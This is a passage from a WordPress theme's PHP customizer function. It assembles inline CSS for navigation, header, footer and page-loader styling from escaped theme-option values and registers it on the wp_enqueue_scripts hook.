.progression-sticky-scrolled #progression-checkout-basket a:hover, .progression-sticky-scrolled #progression-checkout-basket ul#progression-cart-small li h6, .progression-sticky-scrolled #progression-checkout-basket .progression-sub-total span.total-number-add, .progression-sticky-scrolled .sf-menu li.sfHover li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li li li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover.highlight-button li a:hover, .sf-menu li.current-menu-item.highlight-button li a:hover, #progression-checkout-basket a.checkout-button-header-cart, #progression-checkout-basket a:hover, #progression-checkout-basket ul#progression-cart-small li h6, #progression-checkout-basket .progression-sub-total span.total-number-add, .sf-menu li.sfHover li a:hover, .sf-menu li.sfHover li.sfHover a, .sf-menu li.sfHover li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover li li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover li li li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .sf-menu li.sfHover li li li li li a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a {
color:". esc_attr( get_theme_mod('progression_studios_sub_nav_hover_font_color', '#ffffff') ) . ";
}
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count span.progression-cart-count,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count span.progression-cart-count,
#progression-shopping-cart-count span.progression-cart-count {
background:" . esc_attr( get_theme_mod('progression_studios_nav_cart_background', '#ff8a00') ) . ";
color:" . esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ) . ";
}
.bpm-progression-sidebar-tablet-mobile,
#progression-header-icons-inline-mobile-display,
ul.mobile-menu-pro .sf-mega .sf-mega-section li a, ul.mobile-menu-pro .sf-mega .sf-mega-section, ul.mobile-menu-pro.collapsed li a,
ul#progression-studios-panel-login li a, #progression-checkout-basket ul#progression-cart-small li, #progression-checkout-basket .progression-sub-total, .sf-menu li li:last-child li:last-child li:last-child li a, .sf-menu li li:last-child li:last-child li a, .sf-menu li li:last-child li li li a, .sf-menu li li:last-child li li a, .sf-mega li:last-child li a, body header .sf-mega li:last-child li a, .sf-menu li li a, .sf-mega h2.mega-menu-heading, .sf-mega ul, body .sf-mega ul, #progression-checkout-basket .progression-sub-total, #progression-checkout-basket ul#progression-cart-small li {
border-color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_border_color', 'rgba(255,255,255, 0.09)') ) . ";
}
.progression-studios-nav-right .sf-menu {
margin-right:-" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 8) . "px;
}
.sf-menu ul {
margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 ) . "px;
}
.sf-menu a:before {
margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px;
}
.sf-menu a:before {
width: 0px;
left:50%;
margin-left:0px;
}
.sf-menu a:hover:before, .sf-menu li.sfHover a:before, .sf-menu li.current-menu-item a:before {
width: calc(100% - " . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px);
left: " . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 ) . "px;
}
#progression-inline-icons .progression-studios-social-icons a {
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 7 ). "px;
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 7 ). "px;
}
#progression-inline-icons .progression-studios-social-icons {
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 7 ). "px;
}
.sf-menu a {
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ). "px;
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ). "px;
}
.sf-arrows .sf-with-ul {
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 15 ) . "px;
}
.sf-arrows .sf-with-ul:after {
right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 9 ) . "px;
}
.rtl .sf-arrows .sf-with-ul {
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px;
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 15 ) . "px;
}
.rtl .sf-arrows ul .sf-with-ul {
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px;
padding-right:0px;
}
.rtl .sf-arrows .sf-with-ul:after {
right:auto;
left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') ) . "px;
}
.rtl .sf-arrows ul .sf-with-ul:after {
right:auto;
left:8px;
}
@media only screen and (min-width: 1025px) and (max-width: 1300px) {
.sf-menu a {
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 4 ). "px;
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 4 ). "px;
}
.sf-menu li.highlight-button {
margin-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px;
margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px;
}
.sf-menu li.highlight-button a {
padding-right:". esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ) . "px;
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ) . "px;
}
.sf-menu a:hover:before, .sf-menu li.sfHover a:before, .sf-menu li.current-menu-item a:before {
width: calc(100% - " . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 6 ) . "px);
left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 - 4 ) . "px;
}
.sf-menu ul {
margin-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') / 2 - 4 ) . "px;
}
.sf-arrows .sf-with-ul {
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 13 ). "px;
}
.sf-arrows .sf-with-ul:after {
right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') + 7 ). "px;
}
#progression-inline-icons .progression-studios-social-icons a {
padding-left:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px;
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px;
}
#progression-inline-icons .progression-studios-social-icons {
padding-right:" . esc_attr( get_theme_mod('progression_studios_nav_left_right', '28') - 12 ). "px;
}
}
$progression_studios_optiona_nav_bg_hover
$progression_studios_optiona_sticky_nav_font_bg
$progression_studios_optiona_sticky_nav_hover_bg
$progression_studios_option_sticky_nav_font_color
$progression_studios_option_stickY_nav_font_hover_color
$progression_studios_option_sticky_hightlight_bg_color
$progression_studios_option_sticky_hightlight_font_color
$progression_studios_option_sticky_hightlight_bg_color_hover
/* END Main Navigation Customizer Styles */
/* START Top Header Top Styles */
#xion-progression-header-top {
font-size:" . esc_attr( get_theme_mod('progression_studios_top_header_font_size', '12') ) . "px;
$progression_studios_top_header_off_on_display
$progression_studios_top_header_bg_image
$progression_studios_top_header_bg_cover
}
#xion-progression-header-top .sf-menu a {
font-size:" . esc_attr( get_theme_mod('progression_studios_top_header_font_size', '12') ) . "px;
}
.progression-studios-header-left .widget, .progression-studios-header-right .widget {
padding-top:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') ) . "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') ) . "px;
}
#xion-progression-header-top .sf-menu a {
padding-top:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') + 1 ) . "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_top_header_padding', '14') + 1 ) . "px;
}
#xion-progression-header-top a, #xion-progression-header-top .sf-menu a, #xion-progression-header-top {
color:" . esc_attr( get_theme_mod('progression_studios_top_header_color', 'rgba(255,255,255, 0.75)') ) . ";
}
#xion-progression-header-top a:hover, #xion-progression-header-top .sf-menu a:hover, #xion-progression-header-top .sf-menu li.sfHover a {
color:" . esc_attr( get_theme_mod('progression_studios_top_header_hover_color', '#ffffff') ) . ";
}
#xion-progression-header-top .sf-menu ul {
background:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_bg', '#ffffff') ) . ";
}
#xion-progression-header-top .sf-menu ul li a {
border-color:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_border_clr', 'rgba(0,0,0, 0.08)') ) . ";
}
.progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a {
color:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_color', '#888888') ) . "; }
.progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_light_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li li li li li a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_top_header_color #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, #xion-progression-header-top .sf-menu li.sfHover li li li li li a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, #xion-progression-header-top .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a {
color:" . esc_attr( get_theme_mod('progression_studios_top_header_sub_hover_color', '#222222') ) . ";
}
#xion-progression-header-top {
$progression_studios_top_header_background_option
}
#progression-studios-header-top-border-bottom {
$progression_studios_top_header_border_bottom_option
}
/* END Top Header Top Styles */
/* START FOOTER STYLES */
footer#site-footer {
background: " . esc_attr(get_theme_mod('progression_studios_footer_background', '#0e1419')) . ";
}
#pro-scroll-top:hover { color: " . esc_attr(get_theme_mod('progression_studios_scroll_hvr_color', '#ffffff')) . "; background: " . esc_attr(get_theme_mod('progression_studios_scroll_hvr_bg_color', '#6b0cc9')) . "; }
footer#site-footer #copyright-text { color: " . esc_attr(get_theme_mod('progression_studios_copyright_text_color', 'rgba(255,255,255, 0.45)')) . ";}
footer#site-footer #progression-studios-copyright a { color: " . esc_attr(get_theme_mod('progression_studios_copyright_link', 'rgba(255,255,255, 0.75)')) . ";}
footer#site-footer #progression-studios-copyright a:hover { color: " . esc_attr(get_theme_mod('progression_studios_copyright_link_hover', '#ffffff')) . "; }
#pro-scroll-top { $progression_studios_scroll_top_disable color:" . esc_attr(get_theme_mod('progression_studios_scroll_color', '#ffffff')) . "; background: " . esc_attr(get_theme_mod('progression_studios_scroll_bg_color', 'rgba(100,100,100, 0.65)')) . "; }
#copyright-text { padding:" . esc_attr(get_theme_mod('progression_studios_copyright_margin_top', '40')) . "px 0px " . esc_attr(get_theme_mod('progression_studios_copyright_margin_bottom', '40')) . "px 0px; }
#progression-studios-footer-logo { max-width:" . esc_attr( get_theme_mod('progression_studios_footer_logo_width', '250') ) . "px; padding-top:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_top', '45') ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_bottom', '0') ) . "px; padding-right:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_right', '0') ) . "px; padding-left:" . esc_attr( get_theme_mod('progression_studios_footer_logo_margin_left', '0') ) . "px; }
/* END FOOTER STYLES */
@media only screen and (max-width: 1024px) {
#progression-studios-page-title-container {
padding-top:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_top', '180') - 40 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_bottom', '180') - 40 ). "px;
}
body.single-post #progression-studios-page-title-container {
padding-top:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_top', '180')- 40 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_bottom', '180')- 40 ). "px;
}
body.single-portfolio_xion #progression-studios-page-title-container {
padding-top:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_top', '350')- 100 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_bottom', '25') ). "px;
}
$progression_studios_header_bg_optional
.progression-studios-transparent-header header#masthead-pro {
$progression_studios_header_bg_image
$progression_studios_header_bg_cover
}
$progression_studios_mobile_header_bg_color
$progression_studios_mobile_header_logo_width
$progression_studios_mobile_header_logo_margin_top
$progression_studios_mobile_header_nav_padding_top
}
@media only screen and (min-width: 1025px) and (max-width: ". esc_attr( get_theme_mod('progression_studios_site_width', '1200') + 100 ) . "px) {
body.elementor-page .width-container-over-ride,
.width-container-over-ride,
body.elementor-page.page .progression-studios-page-sidebar-on #content-pro .width-container-pro,
body.elementor-page.single-product #content-pro .width-container-pro,
.width-container-pro {
width:94%;
position:relative;
padding:0px;
}
body .elementor-section.elementor-section-boxed > .elementor-container .elementor-container {max-width:100%;}
body .elementor-section.elementor-section-boxed > .elementor-container {max-width:calc(98% - 30px);}
.progression-studios-header-full-width #progression-studios-header-width header#masthead-pro .width-container-pro,
.progression-studios-header-full-width-no-gap #funlin-progression-header-top .width-container-pro,
footer#site-footer.progression-studios-footer-full-width .width-container-pro,
.progression-studios-page-title-full-width #page-title-pro .width-container-pro,
.progression-studios-header-full-width #funlin-progression-header-top .width-container-pro {
width:97%;
position:relative;
padding:0px;
}
.progression-studios-header-full-width-no-gap.progression-studios-header-cart-width-adjustment header#masthead-pro .width-container-pro,
.progression-studios-header-full-width.progression-studios-header-cart-width-adjustment header#masthead-pro .width-container-pro {
width:98%;
margin-left:2%;
padding-right:0;
}
#xion-progression-header-top ul .sf-mega,
header ul .sf-mega {
margin-right:2%;
width:98%;
left:0px;
margin-left:auto;
}
}
.progression-studios-spinner { border-left-color:" . esc_attr(get_theme_mod('progression_studios_page_loader_secondary_color', '#ededed')). "; border-right-color:" . esc_attr(get_theme_mod('progression_studios_page_loader_secondary_color', '#ededed')). "; border-bottom-color: " . esc_attr(get_theme_mod('progression_studios_page_loader_secondary_color', '#ededed')). "; border-top-color: " . esc_attr(get_theme_mod('progression_studios_page_loader_text', '#cccccc')). "; }
.sk-folding-cube .sk-cube:before, .sk-circle .sk-child:before, .sk-rotating-plane, .sk-double-bounce .sk-child, .sk-wave .sk-rect, .sk-wandering-cubes .sk-cube, .sk-spinner-pulse, .sk-chasing-dots .sk-child, .sk-three-bounce .sk-child, .sk-fading-circle .sk-circle:before, .sk-cube-grid .sk-cube{
background-color:" . esc_attr(get_theme_mod('progression_studios_page_loader_text', '#cccccc')). ";
}
#page-loader-pro {
background:" . esc_attr(get_theme_mod('progression_studios_page_loader_bg', '#ffffff')). ";
color:" . esc_attr(get_theme_mod('progression_studios_page_loader_text', '#cccccc')). ";
}
$progression_studios_boxed_layout
::-moz-selection {color:" . esc_attr( get_theme_mod('progression_studios_select_color', '#ffffff') ) . ";background:" . esc_attr( get_theme_mod('progression_studios_select_bg', '#6b0cc9') ) . ";}
::selection {color:" . esc_attr( get_theme_mod('progression_studios_select_color', '#ffffff') ) . ";background:" . esc_attr( get_theme_mod('progression_studios_select_bg', '#6b0cc9') ) . ";}
";
wp_add_inline_style( 'progression-studios-custom-style', $progression_studios_custom_css );
}
add_action( 'wp_enqueue_scripts', 'progression_studios_customizer_styles' );